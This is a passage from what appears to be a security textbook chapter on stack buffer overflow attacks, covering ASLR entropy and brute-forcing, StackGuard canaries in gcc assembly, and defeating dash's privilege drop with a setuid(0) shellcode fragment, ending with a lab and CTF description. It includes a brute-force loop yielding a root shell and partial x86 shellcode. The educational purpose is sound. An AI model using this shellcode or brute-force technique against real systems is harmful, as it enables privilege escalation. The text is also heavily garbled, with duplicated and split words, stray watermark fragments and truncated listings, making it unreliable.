The effectiveness on address randomization depends on several veral factors. A complete
comp
c imple-
mentation of ASLR wherein all areas of process are located ed at random
andom places
plac may
m result in
compatibility issues. A second limitation sometimes is the he reduced
duced range of thet addresses
available for randomization [Marco-Gisbert and Ripoll, 2014]. 014].
One way to measure the available randomness in address dress space is entropy.
entropy If a region of
ent
memory space is said to have n bits of entropy, it implies pliess that on that
tha system,
syst the region’s
base address can take 2n locations with an equal probability.
ability. Entropy depends
depen on the type of
d
ASLR implemented in the kernel. For example, in the 32-bit32 nux OS, w
Linux when static ASLR is
used (i.e., memory regions except program image aree randomized), the th available
ava entropy is 19
bits for stack and 13 bits for heap [Herlands et al., 2014].
014].
4].
In implementations where the available entropy for randomization
andomizati is not enough, attackers
can resolve to brute-force attacks. Proper implementations of ASLR (like those available in
grsecurity [Wikipedia, 2017j]) provide methods hods to make
mak brute force attacks infeasible. One
approach is to prevent an executable from executing
utingg for a configura
confi
configurable amount of time if it has
ple
crashed a certain number of times [Wikipedia, 2017b]. 7b
kernel.randomize va space to 2.
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
4.10. STACKGUARD 91
pter
./stack
done
Cha
......
19 minutes and 14 seconds elapsed.
sed.
The program has been running 12522 times
tim so far.
...: line 12: 31695 Segmentation
ntation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
lapsed.
The program has been running
nning 12523 times
t so far.
...: line 12: 31697 Segmentation
gmentation fault
f (core dumped) ./stack
19 minutes and 14 seconds
nds elapsed.
The program has been running
unning 12524 times so far.
# ¥ Got the root shell!
ell!
4.10 StackGuard
tackGuard
kGuard
Stack-based
sed buffer
uffer overflow attacks
att need to modify the return address; if we can detect whether
the return
rn address
ddress is modified
mod before returning from a function, we can foil the attack. There
are manyny ways
ays to achieve
achie that.
th One way is to store a copy of the return address at some other
place (not on n the stack, so it
i cannot be overwritten via a buffer overflow), and use it to check
her the return address
whether ad is modified. A representative implementation of this approach is
ckshield [Angelfire.com,
Stackshield [Angelfire.co 2000]. Another approach is to place a guard between the return
[Angel
address
ress and the buffer,
dress buf and use this guard to detect whether the return address is modified
or not. representative implementation of this approach is StackGuard [Cowa et al., 1998].
ot. A represen
representativ
StackGuard rd has been
b iincorporated into compilers, including gcc. We will dive into the details
of this countermeasure.
asur
92 CHAPTER 4. BUFFER OVERFLOW ATTACK
pter
Stack (Highaddress)
grows
ReturnAddress
Guard
Buffercopy
Buffer c
Cha
buffer[11]
buffer[0]
(Lowaddress)
(Low ad
char buffer[12];
pter
strcpy (buffer, str);
return;
}
Cha
generated in the main() function, so o every
ery time the program
prog runs, the random number is
different. As long as the secret is not predictable,
ctable, if the
th overflowing
ove of the buffer has led to the
modification of the return address, itt must have ave also overw
ooverwritten the value in guard. The only
way not to modify guard while still till being able to modify
mod the return address is to overwrite
guard with its original value. Therefore,
herefore, attackers
attacker need ne to guess what the secret number is,
which is difficult to achieve if thee number
umber is random
ran and
an large enough.
One problem we need to solve olve is to find a placep to store the secret. The secret cannot be
stored on the stack; otherwise, its value can alsoal be overwritten. Heap, data segment, and BSS
segment can be used to storee this secret. It shouldsshoul be noted that the secret should never be
hard-coded in the code; or it willll not be a secret
secr at all. Even if one can obfuscate the code, it is
just a matter of time before attackers
kers
ers can find
fin the secret value from the code. In the following
code, we define a global variable
aria called secret,cret and we initialize it with a randomly-generated
number in the main() function (no (not
( shown). As we have learned from the beginning of the
section, uninitialized global
obal variables are
a allocated
allo in the BSS segment.
ple
// This global variable
ble will be initialized with a random
// number in the main() function.
func
int secret;
char buffer[12];
r[12
strcpy (buffer,
uffer, str);
st
if (guard
d == secret)
secr ¥ Check whether guard is modified or not
return;
rn;
else
exit(1);
t(1);
}
From the above codecode, we can also see that before returning from the function, we always
check
eck
ck whether the vvalue in the local variable guard is still the same as the value in the global
variable
riable
ble secret
secret.. If th they are still the same, the return address is safe; otherwise, there is a
ibility
ility that
high possibility t the th return address may have been overwritten, so the program should be
terminated.
94 CHAPTER 4. BUFFER OVERFLOW ATTACK
pter
The manually added code described above illustrates how StackGuard works. orks. Since the added
ad
code does not depend on the program logic of the function, we can ask compilerspilers to do that
t forfo
us automatically. Namely, we can ask compilers to add the same code to each ch function:
function at the
th
beginning of each function, and before each return instruction inside thehe function.
The gcc compiler has implemented the StackGuard countermeasure. measure.
asure. If you recall,
recal at
the beginning of this chapter, when we launched the buffer overflow flow attack,
ttack, we had
ha to turn
off the StackGuard option when compiling the vulnerable program. am. Let us see what codec is
added to each function by gcc. We use our pre-built 32-bit x86-based
86-based
ased Ubuntu VM in our
investigation. The version of gcc is 4.6.3. The following listing showss the program from before,
but containing no StackGuard protection implemented by the developer. oper.
Cha
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
foo(argv[1]);
ple
printf("Returned Properly \n\n");
return 0;
}
We run the above code with arguments nts off different length.
le In the first execution, we use a
short argument, and the program returns properly. erly. In the ssecon
second execution, we use an argument
that is longer than the size of the buffer. Stackguard
guard can detect
de the buffer overflow, and terminates
the program after printing out a "stack ck smashing detected"det message.
Sam
$ ./prog hello00000000000
d ***:
*** stack smashing detected ./
./prog terminated
foo:
pter
.LFB0:
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
subl $56, %esp
movl 8(%ebp), %eax
movl %eax, -28(%ebp)
// Canary Set Start
movl %gs:20, %eax
Cha
movl %eax, -12(%ebp)
xorl %eax, %eax
// Canary Set End
movl -28(%ebp), %eax
movl %eax, 4(%esp)
leal -24(%ebp), %eax
ax
movl %eax, (%esp)
call strcpy
// Canary Check Start
art
movl -12(%ebp), %eax
ax
xorl %gs:20, %eax
je .L2
call stack chk fail
// Canary Check End
.L2:
p le
leave
.cfi_restore 5
.cfi_def_cfa 4, 4
ret
.cfi_endproc
We first examine
mine the code that sets the guard value on stack. The relevant part of the code is
shown in the listing
ting below.
elow. In StackGuard,
StackG
Sta the guard is called canary.
Sam
movl %gs:20,
, %eax
movl %eax, -12(%ebp)
-12
xorl %eax,
, %eax
The code
ode above
ove first takes
ta a value from %gs:20 (offset 20 from the GS segment register,
which points
oints to a memory region
reg isolated from the stack). The value is copied to %eax, and
then further
rther copied to %ebp-
%ebp-12. From the assembly code, we can see that the random secret
%e
used byy StackGuard
ckGuard is store
stored at %gs:20, while the canary is stored at location %ebp-12 on
the stack.
tack.
ack. The code basically
basica
ba copies the secret value to canary. Let us see how the canary is
checked
ked before function
fun return.
re
movl -12(%
-12(%ebp), %eax
xorl
orl %gs:20,
%gs: %eax
je .L2
L2
call __stack_chk_fail
96 CHAPTER 4. BUFFER OVERFLOW ATTACK
.L2:
pter
leave
ret
In the code above, the program reads the canary on the stack from thee memory
mory at %ebp-1
%ebp-12,
eb
and saves the value to %eax. It then compares this value with the value alue at
a %gs:20
%gs:20, wh where
canary gets its initial value. The next instruction, je, checks if thee result of the previous
prev
operation (XOR) is 0. If yes, the canary on the stack remains intact, indicating
ating that no overflow
ove
has happened. The code will proceed to return from the function. on. If je detdetected th
that the
XOR result is not zero, i.e., the canary on the stack was not equal
al to the
he value at %gs
%gs:20, an
overflow has occurred. The program call stack chk fail, whichh prints an error e message
and terminates the program.
Cha
Ensuring Canary Properties As discussed before, for thee StackGuard ckGuard solution,
solution
so the secret
value that the canary is checked against needs to satisfy twoo requirements:
ements:
• It needs to be random.
• It cannot be stored on the stack.
The first property is ensured by initializing the canary
ary value using /dev/
/dev/urandom. More
/d
details about it can be found at the link [xorl, 2010]. The
he second prope
property is ensured by keeping
a copy of the canary value in %gs:20. The memory oryy segment point
pointed by
b the GS register in
Linux is a special area, which is different from thee stack,
tack, heap, BSS
BS segment,
se data segment,
and the text segment. Most importantly, this GS segment iss physically
physic isolated
i from the stack,
so a buffer overflow on the stack or heap will not be able
a to change anything
anyt in the GS segment.
On 32-bit x86 architectures, gcc keeps the canary ary value
alue at
a offset
o 20 from %gs and on 64-bit
x86 architectures, gcc stores the canary value at offset
ffset 40 from
fro %gs.
%g
ple
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3)
em(3) or popen(3)
p calls in setuid binaries,
++ * require -p flag to work in this
t situation.
++ */
++ if (!pflag && (uid id != geteuid()
geteui || gid != getegid())) {
++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need
eed to be changed accordingly. */
++ choose_ps1();
++ }
4.11. DEFEATING THE COUNTERMEASURE IN BASH AND DASH 97
pter
/bin/sh in our shellcode; instead, we can invoke oke another
other shell
shel program.
pro This approach
requires another shell program, such as zsh to be present
sent in the sys
system.
system Another approach is to
change the real user ID of the victim process too zero
o before invoking
inv dash. We can achieve
this by invoking setuid(0) before executing ng execve()
ecve() in the shellcode. Let us do an
experiment with this approach. We first changegee the /bin/sh symb symbolic link, so it points back
to /bin/dash (in case we have changed it to zsh sh before):
$ sudo ln -sf /bin/dash /bin/sh
Cha
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
";
argv[1] = NULL;
return 0;
}
ple
The above programm can be compiled and set up using the following commands (we need to
make it root-owned Set-UID
et-UID program):
program
$ gcc dash_shell_test.c
est.c -o dash_shell_test
$ sudo chown root
t dash_shell_test
dash_sh
$ sudo chmod 4755
5 dash_shell_test
dash_sh
$ dash_shell_test
st
# ¥ Got the root shell!
Sam
After running
ning the d get a root shell. If we comment out Line , we will only
he program, we did
get a normall shell,
ll, because dash
d has dropped the root privilege. We need to turn setuid(0)
into binary code,
e, so we can add iit to our shellcode. The revised shellcode is described below.
pter
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode(’latin-1’)
The updated shellcode adds four instructions at the beginning: The first and third inst
instructions
together (Lines and ) set eax to 0xd5 (0xd5 is setuid()’s ()’s system
ystem call numb
number).
nu The
second instruction (Line ) sets ebx to zero; the ebx registerr is used to pass the argument
ar 0
Cha
to the setuid() system call. The fourth instruction (Line ) invokes vokes the system
sys call. Using
this revised shellcode, we can attempt the attack on the vulnerable
erable program when
w /bin/sh is
linked to /bin/dash.
If we use the above shellcode to replace the one used in exploit.py
ploit.py (Listin
((Listing 4.2), and try
the attack again, we will be able to get a root shell, even though
hough we do not use zsh any more.
4.12 Summary
Buffer overflow vulnerabilities are caused when a program
rogram
gram puts data into
i a buffer but forgets to
check the buffer boundary. It does not seem that such a mistake can caus cause a big problem, other
than crashing the program. As we can see from this chapter, when a buffer b is located on the
stack, a buffer overflow problem can cause the return addressad on the stack to be overwritten,
resulting in the program to jump to the location specifiedified by the
th ne
new return address. By putting
ple
malicious code in the new location, attackers cann get the victim pprogra
program to execute the malicious
code. If the victim program is privileged, such uch ass a Set-UID
Set-UI p program, a remote server, a
device driver, or a root daemon, the malicioususs code can be executed
exe
execute using the victim program’s
privilege, which can lead to security breaches.
hes.
Buffer overflow vulnerability was the number ber one vulnerability
vulnerabi
vulne in software for quite a long
time, because it is quite easy to make suchh mistakes.
takes. Developers
Developer
Deve should use safe practices when
saving data to a buffer, such as checking ng thee boundary or specifying
sp how much data can be
copied to a buffer. Many countermeasuressures have been developed,
devel
deve some of which are already
incorporated in operating systems, compilers,
ompilers,
lers, software development
dev tools, and libraries. Not
Sam
pter
In addition to the attacks, students will be guided to walk k through several
sever protection schemes
that have been implemented in the operating system em too counter against
aga buffer-overflow attacks.
Students need to evaluate whether the schemes work or not and explain eexpla why.
We have also developed a CTF version (Catch atch The
he Flag) for this lab, where the instructor
sets up a vulnerable server for students to attack.
ack.
k. Students will work
wor in teams during this CTF
competition. Unlike the lab version, the CTF F version
rsion does notno tell students all the information
needed for the attack, such as the buffer size and the
he address of the bbuffer; only the ranges of these
values will be provided. Students need to develop elop a good strategy,
strate so they can succeed in the
shortest amount of time. This version of lab iss conducted in a classroom
c setting, and students’
grades will depend on how fast they can an succeed.
ceed. During
Durin the t competition, the instructor’s
computer will be projected to the screen;n; as soon as a team’s aattack is successful, their team flag
Cha
will show up on the screen. This versionon of lab has not been
b h
hosted on the SEED website yet, so
instructors who are interested in this CTF lab can contact
cont the t author for detailed instructions.